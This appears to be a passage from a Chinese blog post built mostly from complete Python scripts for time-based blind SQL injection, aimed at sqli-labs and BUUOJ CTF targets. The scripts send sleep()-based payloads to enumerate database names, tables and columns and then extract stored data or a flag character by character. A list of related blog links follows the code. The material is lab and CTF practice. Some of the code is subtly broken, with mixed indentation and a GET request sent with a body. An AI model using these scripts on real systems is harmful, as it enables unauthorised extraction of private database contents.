		# 目标URL参数-u
		parser.add_option('-u', '--url', dest='url',default='http://localhost/Less-9/?id=1', type='string',help='target URL')
		options, args = parser.parse_args()
		url = options.url
		threadSQL = threading.Thread(target=StartSqli,args=(url,))
		threadSQL.start()
	except KeyboardInterrupt:
		print("Interrupted by keyboard inputting!!!")

BlindTime_post

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
from optparse import OptionParser
import time
import threading


# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名，值为字段数据列表
DBData = {}

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

# 获取数据库名函数
def GetDBName(url):
	# 引用全局变量DBName,用来存放网页当前使用的数据库名
	global DBName
	print("[-]开始获取数据库名长度")
	# 保存数据库名长度变量
	DBNameLen = 0
	# 用for循环来遍历请求，得到数据库名长度
	for DBNameLen in range(1, 99):
		# 开始时间
		timeStart = time.time()
		payload = "admin' and if(length(database())="+str(DBNameLen)+",sleep(5),0) #"
		# "admin' and if(length(database())=8,sleep(5),0) #"
		data = {
			'uname':payload,
			'passwd':'admin',
			'submit':'Submit',
		}
		res = conn.post(url,data=data)
		# 结束时间
		timeEnd = time.time()
		# 判断时间差
		if timeEnd - timeStart >= 5:
			print("[+]数据库名长度:" + str(DBNameLen))
			break
	print("[-]开始获取数据库名")
	# a表示substr()函数的截取起始位置
	for a in range(1, DBNameLen+1):
		# b表示33~127位ASCII中可显示字符
		for b in range(33, 128):
			timeStart = time.time()
			payload = "admin' and if(ascii(substr(database(),"+str(a)+",1))="+str(b)+",sleep(5),0)#"
			data = {
				'uname':payload,
				'passwd':'admin',
				'submit':'Submit',
			}
			res = conn.post(url,data)
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				DBName += chr(b)
				print("[-]"+ DBName)
				break


#获取数据库表函数
def GetDBTables(url, dbname):
	global DBTables
	#存放数据库表数量的变量
	DBTableCount = 0
	print("[-]开始获取{0}数据库表数量:".format(dbname))
	#开始遍历获取数据库表的数量
	for DBTableCount in range(1, 99):
		timeStart = time.time()
		payload = "admin' and if((select count(table_name) from information_schema.tables where table_schema='"+dbname+"' )="+str(DBTableCount)+",sleep(5),0) #"
		data = {
			'uname':payload,
			'passwd':'admin',
			'submit':'Submit',
		}
		res = conn.post(url,data=data)
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
			break
	print("[-]开始获取{0}数据库的表".format(dbname))
	# 遍历表名时临时存放表名长度变量
	tableLen = 0
	# a表示当前正在获取表的索引
	for a in range(0,DBTableCount):
		print("[-]正在获取第{0}个表名".format(a+1))
		# 先获取当前表名的长度
		for tableLen in range(1, 99):
			payload = "admin' and if((select length(table_name) from information_schema.tables where table_schema='"+dbname+"' limit "+str(a)+",1)="+str(tableLen)+",sleep(5),0) #"
			timeStart = time.time()
			data = {
				'uname':payload,
				'passwd':'admin',
				'submit':'Submit',
			}
			res = conn.post(url,data=data)
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				break
		# 开始获取表名
		# 临时存放当前表名的变量
		table = ""
		# b表示当前表名猜解的位置
		for b in range(1, tableLen+1):
			# c表示33~127位ASCII中可显示字符
			for c in range(33, 128):
				timeStart = time.time()
				payload = "admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",sleep(5),0)#"
				data = {
					'uname':payload,
					'passwd':'admin',
					'submit':'Submit',
				}
				res = conn.post(url,data=data)
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					table += chr(c)
					print(table)
					break
		#把获取到的名加入到DBTables
		DBTables.append(table)
		#清空table，用来继续获取下一个表名
		table = ""


# 获取数据库表的字段函数
def GetDBColumns(url, dbname, dbtable):
	global DBColumns
	# 存放字段数量的变量
	DBColumnCount = 0
	print("[-]开始获取{0}数据表的字段数:".format(dbtable))
	for DBColumnCount in range(99):
		payload = "admin' and if((select count(column_name) from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"')="+str(DBColumnCount)+",sleep(5),0) #"
		data = {
				'uname':payload,
				'passwd':'admin',
				'submit':'Submit',
			}
		timeStart = time.time()
		res = conn.post(url,data=data)
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
			break
	# 开始获取字段的名称
	# 保存字段名的临时变量
	column = ""
	# a表示当前获取字段的索引
	for a in range(0, DBColumnCount):
		print("[-]正在获取第{0}个字段名".format(a+1))
		# 先获取字段的长度
		for columnLen in range(99):
			payload = "admin' and if((select length(column_name) from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"' limit "+str(a)+",1)="+str(columnLen)+",sleep(5),0) #"
			data = {
				'uname':payload,
				'passwd':'admin',
				'submit':'Submit',
			}
			timeStart = time.time()
			res = conn.post(url,data=data)
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				break
		# b表示当前字段名猜解的位置
		for b in range(1, columnLen+1):
			# c表示33~127位ASCII中可显示字符
			for c in range(33, 128):
				timeStart = time.time()
				payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"' limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",sleep(5),0) #"
				data = {
					'uname':payload,
					'passwd':'admin',
					'submit':'Submit',
				}
				res = conn.post(url,data=data)
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					column += chr(c)
					print(column)
					break
		# 把获取到的名加入到DBColumns
		DBColumns.append(column)
		#清空column，用来继续获取下一个字段名
		column = ""


# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
	global DBData
	# 先获取字段数据数量
	DBDataCount = 0
	print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
	for DBDataCount in range(99):
		payload = "admin' and if((select count("+dbcolumn+") from "+dbtable+")="+str(DBDataCount)+",sleep(5),0) #"
		data = {
			'uname':payload,
			'passwd':'admin',
			'submit':'Submit',
		}
		timeStart = time.time()
		res = conn.post(url,data=data)
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
			break
	for a in range(0, DBDataCount):
		print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a+1))
		#先获取这个数据的长度
		dataLen = 0
		for dataLen in range(99):
			payload = "admin'and  if((select length("+dbcolumn+") from "+dbtable+" limit "+str(a)+",1)="+str(dataLen)+",sleep(5),0) #"
			data = {
				'uname':payload,
				'passwd':'admin',
				'submit':'Submit',
			}
			timeStart = time.time()
			res = conn.post(url,data=data)
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				print("[-]第{0}个数据长度为:{1}".format(a+1, dataLen))
				break
		#临时存放数据内容变量
		data1 = ""
		#开始获取数据的具体内容
		#b表示当前数据内容猜解的位置
		for b in range(1, dataLen+1):
			for c in range(33, 128):
				payload = "admin' and  if(ascii(substr((select "+dbcolumn+" from "+dbtable+" limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",sleep(5),0) #"
				data = {
					'uname':payload,
					'passwd':'admin',
					'submit':'Submit',
				}
				timeStart = time.time()
				res = conn.get(url,data=data)
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					data1 += chr(c)
					print(data1)
					break
		#放到以字段名为键，值为列表的字典中存放
		DBData.setdefault(dbcolumn,[]).append(data1)
		print(DBData)
		#把data清空来，继续获取下一个数据
		data1 = ""

# 盲注主函数
def StartSqli(url):
	GetDBName(url)
	print("[+]当前数据库名:{0}".format(DBName))
	GetDBTables(url,DBName)
	print("[+]数据库{0}的表如下:".format(DBName))
	for item in range(len(DBTables)):
		print("(" + str(item + 1) + ")" + DBTables[item])
	tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
	GetDBColumns(url,DBName,DBTables[tableIndex])
	while True:
		print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
		for item in range(len(DBColumns)):
			print("(" + str(item + 1) + ")" + DBColumns[item])
		columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):"))-1
		if(columnIndex == -1):
			break
		else:
			GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

if __name__ == '__main__':
	try:
		usage = "./BlindTime_get.py -u url"
		parser = OptionParser(usage)
		# 目标URL参数-u
		parser.add_option('-u', '--url', dest='url',default='http://localhost/Less-15/', type='string',help='target URL')
		options, args = parser.parse_args()
		url = options.url
		threadSQL = threading.Thread(target=StartSqli,args=(url,))
		threadSQL.start()
	except KeyboardInterrupt:
		print("Interrupted by keyboard inputting!!!")

修改的地方:

payload
data
添加了time.sleep(0.05)
default
修改时要注意间隔

BlindTime_post-修改过的

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
from optparse import OptionParser
import time
import threading

# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名，值为字段数据列表
DBData = {}

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False


# 获取数据库名函数
def GetDBName(url):
    # 引用全局变量DBName,用来存放网页当前使用的数据库名
    global DBName
    print("[-]开始获取数据库名长度")
    # 保存数据库名长度变量
    DBNameLen = 0
    # 用for循环来遍历请求，得到数据库名长度
    for DBNameLen in range(1, 99):
        # 开始时间
        timeStart = time.time()
        payload = "if(length(database())=" + str(DBNameLen) + ",sleep(5),0)"
        # "admin' and if(length(database())=8,sleep(5),0) #"
        data = {
            'id': payload,
        }
        res = conn.post(url, data=data)
        # 结束时间
        timeEnd = time.time()
        # 判断时间差
        if timeEnd - timeStart >= 5:
            print("[+]数据库名长度:" + str(DBNameLen))
            break
    print("[-]开始获取数据库名")
    # a表示substr()函数的截取起始位置
    for a in range(1, DBNameLen + 1):
        # b表示33~127位ASCII中可显示字符
        for b in range(33, 128):
            time.sleep(0.05)
            timeStart = time.time()
            payload = "if(ascii(substr(database()," + str(a) + ",1))=" + str(b) + ",sleep(5),0)"
            data = {
                'id': payload,
            }
            res = conn.post(url, data=data)
            timeEnd = time.time()
            if timeEnd - timeStart >= 5:
                DBName += chr(b)
                print("[-]" + DBName)
                break


# 获取数据库表函数
def GetDBTables(url, dbname):
    global DBTables
    # 存放数据库表数量的变量
    DBTableCount = 0
    print("[-]开始获取{0}数据库表数量:".format(dbname))
    # 开始遍历获取数据库表的数量
    for DBTableCount in range(1, 99):
        time.sleep(0.05)
        timeStart = time.time()
        payload = "if((select count(table_name) from information_schema.tables where table_schema='" + dbname + "' )=" + str(DBTableCount) + ",sleep(5),0)"
        data = {
            'id': payload,
        }
        res = conn.post(url, data=data)
        timeEnd = time.time()
        if timeEnd - timeStart >= 5:
            print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    # 遍历表名时临时存放表名长度变量
    tableLen = 0
    # a表示当前正在获取表的索引
    for a in range(0, DBTableCount):
        print("[-]正在获取第{0}个表名".format(a + 1))
        # 先获取当前表名的长度
        for tableLen in range(1, 99):
            time.sleep(0.05)
            payload = "if((select length(table_name) from information_schema.tables where table_schema='" + dbname + "' limit " + str(a) + ",1)=" + str(tableLen) + ",sleep(5),0)"
            timeStart = time.time()
            data = {
                'id': payload,
            }
            res = conn.post(url, data=data)
            timeEnd = time.time()
            if timeEnd - timeStart >= 5:
                break
        # 开始获取表名
        # 临时存放当前表名的变量
        table = ""
        # b表示当前表名猜解的位置
        for b in range(1, tableLen + 1):
            # c表示33~127位ASCII中可显示字符
            for c in range(33, 128):
                time.sleep(0.05)
                timeStart = time.time()
                payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema='" + dbname + "' limit " + str(a) + ",1)," + str(b) + ",1))=" + str(c) + ",sleep(5),0)"
                data = {
                    'id': payload,
                }
                res = conn.post(url, data=data)
                timeEnd = time.time()
                if timeEnd - timeStart >= 5:
                    table += chr(c)
                    print(table)
                    break
        # 把获取到的名加入到DBTables
        DBTables.append(table)
        # 清空table，用来继续获取下一个表名
        table = ""


# 获取数据库表的字段函数
def GetDBColumns(url, dbname, dbtable):
    global DBColumns
    # 存放字段数量的变量
    DBColumnCount = 0
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        time.sleep(0.05)
        payload = "if((select count(column_name) from information_schema.columns where table_schema='" + dbname + "' and table_name='" + dbtable + "')=" + str(DBColumnCount) + ",sleep(5),0)"
        data = {
            'id': payload,
        }
        timeStart = time.time()
        res = conn.post(url, data=data)
        timeEnd = time.time()
        if timeEnd - timeStart >= 5:
            print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
            break
    # 开始获取字段的名称
    # 保存字段名的临时变量
    column = ""
    # a表示当前获取字段的索引
    for a in range(0, DBColumnCount):
        print("[-]正在获取第{0}个字段名".format(a + 1))
        # 先获取字段的长度
        for columnLen in range(99):
            time.sleep(0.05)
            payload = "if((select length(column_name) from information_schema.columns where table_schema='" + dbname + "' and table_name='" + dbtable + "' limit " + str(a) + ",1)=" + str(columnLen) + ",sleep(5),0)"
            data = {
                'id': payload,
            }
            timeStart = time.time()
            res = conn.post(url, data=data)
            timeEnd = time.time()
            if timeEnd - timeStart >= 5:
                break
        # b表示当前字段名猜解的位置
        for b in range(1, columnLen + 1):
            # c表示33~127位ASCII中可显示字符
            for c in range(33, 128):
                time.sleep(0.05)
                timeStart = time.time()
                payload = "if(ascii(substr((select column_name from information_schema.columns where table_schema='" + dbname + "' and table_name='" + dbtable + "' limit " + str(a) + ",1)," + str(b) + ",1))=" + str(c) + ",sleep(5),0)"
                data = {
                    'id': payload,
                }
                res = conn.post(url, data=data)
                timeEnd = time.time()
                if timeEnd - timeStart >= 5:
                    column += chr(c)
                    print(column)
                    break
        # 把获取到的名加入到DBColumns
        DBColumns.append(column)
        # 清空column，用来继续获取下一个字段名
        column = ""


# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
    global DBData
    # 先获取字段数据数量
    DBDataCount = 0
    print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
    for DBDataCount in range(99):
        time.sleep(0.05)
        payload = "if((select count(" + dbcolumn + ") from " + dbtable + ")=" + str(DBDataCount) + ",sleep(5),0)"
        data = {
            'id': payload,
        }
        timeStart = time.time()
        res = conn.post(url, data=data)
        timeEnd = time.time()
        if timeEnd - timeStart >= 5:
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
            break
    for a in range(0, DBDataCount):
        print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
        # 先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            time.sleep(0.05)
            payload = "if((select length(" + dbcolumn + ") from " + dbtable + " limit " + str(a) + ",1)=" + str(dataLen) + ",sleep(5),0)"
            data = {
                'id': payload,
            }
            timeStart = time.time()
            res = conn.post(url, data=data)
            timeEnd = time.time()
            if timeEnd - timeStart >= 5:
                print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
                break
        # 临时存放数据内容变量
        data1 = ""
        # 开始获取数据的具体内容
        # b表示当前数据内容猜解的位置
        for b in range(1, dataLen + 1):
            for c in range(33, 128):
                time.sleep(0.05)
                payload = "if(ascii(substr((select " + dbcolumn + " from " + dbtable + " limit " + str(a) + ",1)," + str(b) + ",1))=" + str(c) + ",sleep(5),0)"
                data = {
                    'id': payload,
                }
                timeStart = time.time()
                res = conn.get(url, data=data)
                timeEnd = time.time()
                if timeEnd - timeStart >= 5:
                    data1 += chr(c)
                    print(data1)
                    break
        # 放到以字段名为键，值为列表的字典中存放
        DBData.setdefault(dbcolumn, []).append(data1)
        print(DBData)
        # 把data清空来，继续获取下一个数据
        data1 = ""


# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url, DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            time.sleep(0.05)
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
        if (columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])


if __name__ == '__main__':
    try:
        usage = "./BlindTime_get.py -u url"
        parser = OptionParser(usage)
        # 目标URL参数-u
        parser.add_option('-u', '--url', dest='url',
                          default='http://1e21f92c-e6dd-42ac-95f0-ed1281e49749.node4.buuoj.cn:81/', type='string',
                          help='target URL')
        options, args = parser.parse_args()
        url = options.url
        threadSQL = threading.Thread(target=StartSqli, args=(url,))
        threadSQL.start()
    except KeyboardInterrupt:
        print("Interrupted by keyboard inputting!!!")

时间盲注-POST-1(知表知字段求flag)

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
from optparse import OptionParser
import time
import threading


# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名，值为字段数据列表
DBData = {}

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

def woqv(url):
	a=""
	print("[-]开始获取数据库名长度")
	# 用for循环来遍历请求，得到数据库名长度
	for ll in range(1, 50):
 		for kk in range(33,127):
	 		time.sleep(0.05)
			# 开始时间
			timeStart = time.time()
			payload = "if((ascii(substr((select(flag)from(flag))," + str(ll) + ",1))=" + str(kk) + "),sleep(5),0)"
			# "admin' and if(length(database())=8,sleep(5),0) #"
			data = {
				'id':payload,
			}
			res = conn.post(url,data=data)
			# 结束时间
			timeEnd = time.time()
			# 判断时间差
			if timeEnd - timeStart >= 5:
				a+=chr(kk)
				print(a)
				break
			



# 盲注主函数
def StartSqli(url):
	woqv(url)

if __name__ == '__main__':
	try:
		usage = "./BlindTime_get.py -u url"
		parser = OptionParser(usage)
		# 目标URL参数-u
		parser.add_option('-u', '--url', dest='url',default='http://4fbbc7a5-c5b9-4628-b997-a2c82c97252d.node4.buuoj.cn:81/', type='string',help='target URL')
		options, args = parser.parse_args()
		url = options.url
		threadSQL = threading.Thread(target=StartSqli,args=(url,))
		threadSQL.start()
	except KeyboardInterrupt:
		print("Interrupted by keyboard inputting!!!")
小蜗牛狂飙记
关注
  • 3
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
ctfshow web223-group盲注无数字
10-21
ctfshow web223-group盲注无数字
DVWA-SQL盲注脚本（全）
10-04
DVWA SQL盲注，Low，Medium，High 三个级别的bool盲注脚本，比较完整，配套解释 ： https://blog.csdn.net/csdn_Pade/article/details/82886765
python脚本实现sql时间盲注
wrypot的博客
03-27 752
python脚本实现sql盲注 sqli-labs-master pass-10 有好用脚本的大佬可以分享一波，抄袭转载请附上本文地址，违法必究。做时间盲注的只需要改一下url和payload，payload里面的闭合字符要改成正确的。将列的ascii码转化为字符，跟上面将表名的ascii码转化为字符一样。这里用sqli-labs-master第10关举例。将字段ascii码转化为字符。将表的ascii转化为字符。3、爆表名的ascii码。4、爆列的ascii码。5、爆字段ascii码。
sql注入（时间盲注脚本，mysql结构）
2401_82760239的博客
04-04 517
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")print("数据表", table, "第", index, "个字段的长度为", length)print("数据表", table, "第", index, "行数据的长度为", length)print ("目前已知数据库名", database)
2024年网络安全最新超硬核，SQL注入之时间盲注，原理+步骤+实战思路
最新发布
2401_84252281的博客
05-02 237
如果页面响应时间超过5秒，说明长度判断正确（sleep(5)）;如果页面响应时间不超过5秒（正常响应），说明长度判断错误，继续递增判断长度。
时间盲注脚本（附带注释）
sGanYu
03-22 2783
参考python安全攻防时间盲注，自己修改了一些内容，加入了异常处理防止乱跑 # -*- coding: UTF-8 -*- import requests import time DBName = "" # 数据库名的变量 DBTables = [] DBColumns = [] DBData = {} requests.adapters.DEFAULT_RETRIES = 10 conn = requests.session() conn.keep_alive = False # 设置重连
python实现自动化延迟注入-时间盲注脚本-源代码
qq_54037445的博客
11-30 1611
在做手工的sql时间注入时，他需要一个字符一个字符的去猜，如果手动的去一个尝试，会浪费大量的时间，所以当时也就是了解他的原理后就没有试过了，这次尝试用python实现时间盲注。
时间盲注脚本——以sqli-labs第十关为例
weixin_52450702的博客
12-14 512
时间盲注脚本
python脚本之时间盲注猜解
qq_36585338的博客
11-26 195
【代码】python脚本之时间盲注猜解。
手工时间盲注python代码
m0_73767377的博客
04-09 191
【代码】手工时间盲注python代码，修改url和文件头后直接运行即可
时间盲注python脚本.zip
12-28
在本压缩包"时间盲注python脚本.zip"中，包含两个Python脚本文件：time_sql_post.py和time_sql_get.py，分别用于POST和GET方法实现时间盲注自动化攻击。 首先，我们来详细了解一下时间盲注的基本原理。当服务器执行...
布尔盲注python脚本.zip
12-28
在给定的压缩包文件"布尔盲注python脚本.zip"中，有两个文件：bool_sql_post.py和bool_sql_get.py，分别对应于使用POST和GET方法进行布尔盲注的Python脚本。下面我们将详细讨论这两个知识点。 1. **布尔盲注原理**...
sqli-labs盲注脚本
06-24
sqli-labs盲注脚本 sqli-labs盲注脚本 sqli-labs盲注脚本
超硬核，SQL注入之时间盲注，原理+步骤+实战思路(1)
2401_84296945的博客
04-30 1015
时间盲注是指基于时间的盲注，也叫延时注入，根据页面的响应时间来判断是否存在注入。
时间盲注（ctfhub）
2401_82985722的博客
03-29 1131
（布尔盲注直接使用length进行筛选：按照length从高到低排序 前面四个即为结果，按照payload1的顺序进行排序得到数据库名sqli。（已经知道长度为4，可以直接设置为4，不知道时 设置比需要爆破字符的长度长。（5）点击开始攻击得到结果，sleep(5)要筛选出响应时间大于5s的数据包。condition为条件，条件为真时返回true，条件为假时返回false。再进行筛选，响应时间最大的四个就是执行成功的——sqli。# -D 指定库，-T指定表，-C 指定列（字段）（爆破字段为26个英文字母）
Python 安全开发 时间盲注脚本
YouthBelief的博客
10-26 1317
时间盲注0x00 时间盲注原理用到的函数有流程0x01脚本编写 （请求少，费时多）1.1用到的库1.2判断页面响应1.3判断返回字符串长度1.4 获取查询结果1.5 主函数0x02 脚本编写（请求多，费时少） 0x00 时间盲注原理 时间盲注应用于 页面 无论输入什么 页面显示 内容都一样， 可以用 ’ and sleep(5) --+ 发现 页面响应超过5秒 用到的函数有 sleep(5) 延时函数 延迟5秒 if($SQL,sleep(5),1) if函数 如果sql语句为真，执行sleep
sql注入之时间盲注脚本(python)
npu2022303155的博客
03-31 251
之前看到一个布尔盲注的脚本，感觉和时间盲注的逻辑差不多，只是判断条件变化了一下，基本没变化。所以就该了一下脚本。自己第一次做题，脚本跑出来了flag，但是错了中间的一个字符，猜测是时间延迟太小的原因。只是自己用sqlmap找出flag提交后，环境就关闭了，没验证过这个想法。但还是浅浅的记录一下吧。
sql注入——时间盲注自动化注入脚本
栉风沐雪的博客
05-14 692
因为最近在学习sql注入，在学到时间盲注这里，发现注入的时候要从asc码33到127都查询一遍，手动注入工作量是在太大，想寻求是否存在什么简便方法，通过查询一些相关的书籍以及资料，将结果汇总如下。但这段代码仍存在很多不足，希望各位师傅指正。
使用python脚本的时间盲注完整步骤
wutiangui的博客
09-30 494
测试环境是bwapp靶场 SQL Injection - Blind - Time-Based。tips:title=,&action=search需要使用burp抓包获得。我们发现使用这种方法似乎比burp更快更高效，只是从列爆破开始需要自己选表名。
帮我写一个时间盲注的python脚本
06-06
下面是一个简单的Python脚本，用于进行时间盲注： ```python import requests import time url = "http://example.com/login.php" # 目标URL data = {"username": "admin", "password": ""} # POST请求数据 chars ...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值